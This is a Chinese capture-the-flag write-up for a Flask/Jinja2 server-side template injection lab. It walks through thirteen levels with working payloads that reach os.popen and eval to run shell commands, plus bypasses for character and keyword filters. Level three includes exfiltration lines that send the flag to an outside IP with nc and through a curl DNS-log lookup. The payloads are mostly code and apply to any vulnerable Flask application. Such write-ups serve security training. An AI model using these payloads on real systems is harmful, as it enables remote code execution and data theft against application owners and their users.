GitHub SSTI靶场 wp - demodd

admin 2021年12月31日15:14:56评论106 views字数 7154阅读23分50秒阅读模式

本人小白,师傅们勿喷

payload主要有两种形式:

一种是获取os来执行命令
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

一种是得到__builtins__利用eval来执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。

知识点:

利用过滤器拼接关键字:{% set gl=dict(glo=a,bals=a)|join%}

过滤数字:count或lengthindex来获取数字
利用{{lipsum|string|list}}能获取一个列表

比如我们想获取数字1
{{(lipsum|string|list).index('f')}}
得到数字1 3 5
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
如果过滤了单引号可以使用join过滤器
{%set%20f=dict(f=a)|join%}{{(lipsum|string|list).index(f)}}

GitHub SSTI靶场 wp -  demodd
获取下划线

{{(lipsum|string|list).pop(18)}}

获取chr

lipsum.__globals__['__builtins__'].chr

第一关

no waf
只需找到os或者是builtins来执行命令即可,下面贴几种payload

利用os执行命令:
利用for循环找到os._wrap_close类
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

利用__builtins__执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")

这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

SSTILAB{enjoy_flask_ssti}

第二关

waf:bl['{{']
可以用{%%}来进行绕过,直接执行命令就好。

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

第三关

waf:no waf and blind
没有回显,可以用vps监听或者DNSlog带出flag

{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag|nc 8.136.15.232 80').read()}}

{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('curl http://`cat flag`.u5d01l.dnslog.cn').read()}}

第四关

waf:bl['[', ']']
过滤了中括号,利用getitem绕过中括号

code={%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}{%endif%}{%endfor%}

第五关

waf:bl['\'', '"']
过滤了单双引号可以使用request来绕过,这边使用了cookie进行传参。

code={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}  

Cookie:x1=__builtins__;x2=__import__('os').popen('cat f*').read()

第六关

waf:bl['_']
过滤了下划线,同样可以使用cookie进行传参,这边还使用了attr()过滤器进行连接。

code={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

第七关

waf:bl['.']
过滤了 . 使用过滤器进行连接即可。

{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat fla*")|attr("read")()}}

第八关

waf:bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
过滤了一堆,但是可以使用拼接的方式来构造。

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat f*')["re""ad"]()%}{%endif%}{%endfor%}

第九关

waf:bl['0-9']
过滤了数字,可以利用for循环来找到os._wrap_close,这样就不必使用数字。利用base寻找基类可以免去使用数字。

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

第十关

waf:set config = None
不使用config就可以,第一关payload。

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

第十一关

['\'', '"', '+', 'request', '.', '[', ']']

最终为了构造的payload为
lipsum.globals.get('os').popen('cat flag').read()
思路:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,所以使用下面payload来获取下划线。
(lipsum|string|list)|attr(pop)(18)
使用join的方式相当于pass了单双引号,这样ban的字符都有了。

{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
 {% set space=chcr(three*three*five-five-five-three) %}
 {% set shell=(cat,space,dict(flag=a)|join)|join %}

{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

第十二关

waf:bl['_', '.', '0-9', '\', '\'', '"', '[', ']']
比上一关多过滤了数字,可以使用index获取数字,payload基本不变。

使用index获取数字

{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}

{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(shiba) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
 {% set space=chcr(three*three*five-five-five-three) %}
 {% set shell=(cat,space,dict(flag=a)|join)|join %}
 {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

第十三关

waf:bl['_', '.', '\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
比上一关多过滤了几个关键字,但是我们的payload用不到。。所以拿上一关的payload打就可以。

{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
 {% set space=chcr(three*three*five-five-five-three) %}
 {% set shell=(cat,space,dict(flag=a)|join)|join %}
 {{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}

本次参考:bfengj大佬博客
https://blog.csdn.net/rfrder/article/details/115272645

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:14:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitHub SSTI靶场 wp - demoddhttps://cn-sec.com/archives/710839.html

发表评论

匿名网友 填写信息